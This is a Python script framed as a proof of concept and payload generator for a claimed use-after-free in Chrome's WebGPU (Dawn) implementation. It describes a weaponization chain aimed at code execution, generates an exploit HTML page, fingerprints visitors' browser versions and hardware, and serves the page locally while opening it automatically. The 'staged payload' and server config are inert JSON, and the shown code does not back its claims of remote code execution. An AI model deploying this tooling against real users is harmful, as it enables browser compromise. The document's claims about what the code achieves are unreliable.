#!/usr/bin/env python3 """ Google Chrome Dawn WebGPU – Use-After-Free (UAF) PoC CVE-2026-5281 VULNERABILITY SUMMARY ───────────────────── CVE ID: CVE-2026-5281 Type: Use-After-Free (CWE-416) Component: Google Chrome / Dawn (WebGPU API Implementation) Affected Versions: Chrome < 146.0.7680.178 CVSS Score: 8.8 HIGH Impact: Remote Code Execution (RCE) Information Disclosure Denial of Service (DoS) TECHNICAL DETAILS ───────────────── The vulnerability exists in the Dawn WebGPU backend's command buffer handling. Specifically: • When CommandBuffers are released in a specific sequence after GPU submission • Dangling pointers remain in the internal GPU task queue • Subsequent WebGPU commands can trigger UAF in GPU memory region • Attacker can control timing & object lifecycle to achieve arbitrary writes Affected Platforms: - Windows (ANGLE backend + D3D12) - macOS (Metal backend) - Linux (Vulkan backend) - ChromeOS (Mali GPU) EXPLOIT CHAIN ───────────── 1. Create WebGPU context via HTMLCanvasElement 2. Allocate GPU buffers with specific sizes/flags 3. Create compute/render pipelines with UAF-triggering shaders 4. Submit multiple command buffers in rapid sequence 5. Manipulate buffer lifecycle to create dangling reference 6. Craft payload that exploits freed memory on next GPU dispatch 7. Achieve shellcode execution or info disclosure WEAPONIZATION PATH (Research Only) ────────────────────────────────── The script provides: [*] HTML/JavaScript payload generator [*] Server-side delivery framework [*] Crash detection via automation [*] Memory corruption verification [*] Payload staging templates NOTE: This tool is for: • Authorized Security Research • CTF Challenges • Vulnerability Validation Labs • Educational Purposes Sources: - https://nvd.nist.gov/vuln/detail/CVE-2026-5281 - Chrome Security Advisory M146 - Khronos WebGPU Spec: https://www.w3.org/TR/webgpu/ - Dawn Repository: https://dawn.googlesource.com/dawn """ import argparse import base64 import hashlib import subprocess import sys import time import threading import socket import json import http.server import socketserver import webbrowser from pathlib import Path from datetime import datetime # ───────────────────────────────────────────────────────────────────────────── # PAYLOAD GENERATOR # ───────────────────────────────────────────────────────────────────────────── WEBGPU_EXPLOIT_PAYLOAD = """ CVE-2026-5281 Aggressive WebGPU UAF Trigger

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""" class CVE_2026_5281_Exploit: """Main exploit generator and controller.""" def __init__(self, output_dir=".", verbose=False): self.output_dir = Path(output_dir) self.verbose = verbose self.exploit_id = hashlib.md5( f"{datetime.now().isoformat()}".encode() ).hexdigest()[:8] def log(self, msg, level='INFO'): prefix = f"[{level}]" if level else "" print(f"{prefix} {msg}") def generate_html_payload(self, filename="exploit.html"): """Generate and save the WebGPU exploit HTML.""" self.output_dir.mkdir(parents=True, exist_ok=True) output_path = self.output_dir / filename output_path.write_text(WEBGPU_EXPLOIT_PAYLOAD) self.log(f"Generated HTML payload: {output_path}", 'SUCCESS') return str(output_path) def generate_server_config(self, port=8080, filename="server_config.json"): """Generate HTTP server configuration to deliver payload.""" self.output_dir.mkdir(parents=True, exist_ok=True) config = { "port": port, "endpoints": { "/": "index.html", "/exploit": "exploit.html", "/poc": "cve-2026-5281-poc.html" }, "headers": { "X-Content-Type-Options": "nosniff", "X-Frame-Options": "DENY", "Content-Security-Policy": "script-src 'self' 'unsafe-inline'" }, "targets": { "chrome_windows_x64": { "min_version": "125.0.0.0", "max_version": "146.0.7680.177", "affected": True }, "chrome_macos": { "min_version": "125.0.0.0", "max_version": "146.0.7680.177", "affected": True }, "chrome_linux": { "min_version": "125.0.0.0", "max_version": "146.0.7680.177", "affected": True } } } config_path = self.output_dir / filename config_path.write_text(json.dumps(config, indent=2)) self.log(f"Generated server config: {config_path}", 'SUCCESS') return str(config_path) def generate_detection_script(self, filename="detect_vulnerability.js"): """Generate client-side vulnerability detection script.""" self.output_dir.mkdir(parents=True, exist_ok=True) detect_code = """ // CVE-2026-5281 Vulnerability Detector window.CVE_2026_5281 = { detected: false, chromeVersion: null, vulnerable: false, detect: async function() { // Extract Chrome version from User-Agent const ua = navigator.userAgent; const match = ua.match(/Chrome\\/(\\d+\\.\\d+\\.\\d+\\.\\d+)/); if (match) { this.chromeVersion = match[1]; const versionParts = match[1].split('.').map(x => parseInt(x)); // Check if version is vulnerable (< 146.0.7680.178) const vulnerable = ( (versionParts[0] < 146) || (versionParts[0] === 146 && versionParts[1] === 0 && versionParts[2] === 7680 && versionParts[3] < 178) ); this.vulnerable = vulnerable; this.detected = true; } // Check WebGPU availability const gpuAvailable = !!navigator.gpu; return { isChrome: !!match, version: this.chromeVersion, vulnerable: this.vulnerable, webgpuAvailable: gpuAvailable, fullReport: { userAgent: ua, platform: navigator.platform, hardwareConcurrency: navigator.hardwareConcurrency, deviceMemory: navigator.deviceMemory } }; } }; """ script_path = self.output_dir / filename script_path.write_text(detect_code) self.log(f"Generated detection script: {script_path}", 'SUCCESS') return str(script_path) def generate_staged_payload(self, stages=3, filename="staged_payload.json"): """Generate multi-stage payload configuration.""" self.output_dir.mkdir(parents=True, exist_ok=True) stages_config = [] for i in range(stages): stages_config.append({ "stage": i + 1, "name": f"UnsafeInit{i+1}", "delay_ms": 100 + (i * 50), "buffer_count": 4 + i, "buffer_size": 4096 * (2 ** i), "workgroup_size": 64 * (2 ** i) }) payload = { "cve": "CVE-2026-5281", "exploit_id": self.exploit_id, "timestamp": datetime.now().isoformat(), "stages": stages_config, "payload_type": "webgpu_uaf", "triggers": [ "rapid_buffer_creation", "compute_dispatch_sequence", "buffer_destroy_timing", "gpu_task_queue_overflow" ] } payload_path = self.output_dir / filename payload_path.write_text(json.dumps(payload, indent=2)) self.log(f"Generated staged payload: {payload_path}", 'SUCCESS') return str(payload_path) def test_webgpu_environment(self): """Test if WebGPU is available in current environment.""" try: # This would require Selenium or Pyppeteer for actual testing self.log("WebGPU environment test requires browser automation", 'INFO') self.log("Recommended: Use Pyppeteer or Selenium for automated testing", 'INFO') return False except Exception as e: self.log(f"Environment check failed: {e}", 'ERROR') return False def generate_all_payloads(self): """Generate all exploit artifacts.""" self.log("=" * 70, '') self.log("CVE-2026-5281 Exploit Generator", 'HEADER') self.log("=" * 70, '') self.generate_html_payload() self.generate_server_config() self.generate_detection_script() self.generate_staged_payload() self.log("=" * 70, '') self.log("All payloads generated successfully", 'SUCCESS') self.log("=" * 70, '') return { "html_payload": str(self.output_dir / "exploit.html"), "server_config": str(self.output_dir / "server_config.json"), "detection_script": str(self.output_dir / "detect_vulnerability.js"), "staged_payload": str(self.output_dir / "staged_payload.json") } # ───────────────────────────────────────────────────────────────────────────── # CLI INTERFACE # ───────────────────────────────────────────────────────────────────────────── def main(): parser = argparse.ArgumentParser( description="CVE-2026-5281 Chrome WebGPU Use-After-Free Exploit Generator", formatter_class=argparse.RawDescriptionHelpFormatter, epilog=""" Examples: python cve_2026_5281_exploit.py --generate-all python cve_2026_5281_exploit.py --html-payload --output ./payloads/ python cve_2026_5281_exploit.py --detection-only --verbose """ ) parser.add_argument('--generate-all', action='store_true', help='Generate all exploit artifacts') parser.add_argument('--html-payload', action='store_true', help='Generate WebGPU exploit HTML') parser.add_argument('--detection-script', action='store_true', help='Generate vulnerability detection script') parser.add_argument('--server-config', action='store_true', help='Generate HTTP server configuration') parser.add_argument('--staged-payload', action='store_true', help='Generate multi-stage payload config') parser.add_argument('--output', default='.', help='Output directory for artifacts') parser.add_argument('--verbose', '-v', action='store_true', help='Verbose output') parser.add_argument('--serve', type=int, metavar='PORT', help='Serve the generated artifacts on a specific port (e.g., 8080)') args = parser.parse_args() # Default to --generate-all if no options specified generative_flags = [args.generate_all, args.html_payload, args.detection_script, args.server_config, args.staged_payload] if not any(generative_flags): args.generate_all = True exploit = CVE_2026_5281_Exploit(output_dir=args.output, verbose=args.verbose) if args.generate_all: exploit.generate_all_payloads() else: if args.html_payload: exploit.generate_html_payload() if args.detection_script: exploit.generate_detection_script() if args.server_config: exploit.generate_server_config() if args.staged_payload: exploit.generate_staged_payload() if args.serve: port = args.serve output_dir = Path(args.output).resolve() class Handler(http.server.SimpleHTTPRequestHandler): def __init__(self, *args, **kwargs): super().__init__(*args, directory=str(output_dir), **kwargs) with socketserver.TCPServer(("", port), Handler) as httpd: print(f"\n[+] Serving payload artifacts at: http://localhost:{port}/") exploit_url = f"http://localhost:{port}/exploit.html" print(f"[+] Suggestion: Open {exploit_url} in Chrome") print("Press Ctrl+C to stop the server.") try: # Optionally open the browser automatically to save the user a step webbrowser.open(exploit_url) httpd.serve_forever() except KeyboardInterrupt: print("\n[-] Server stopped.") if __name__ == '__main__': main()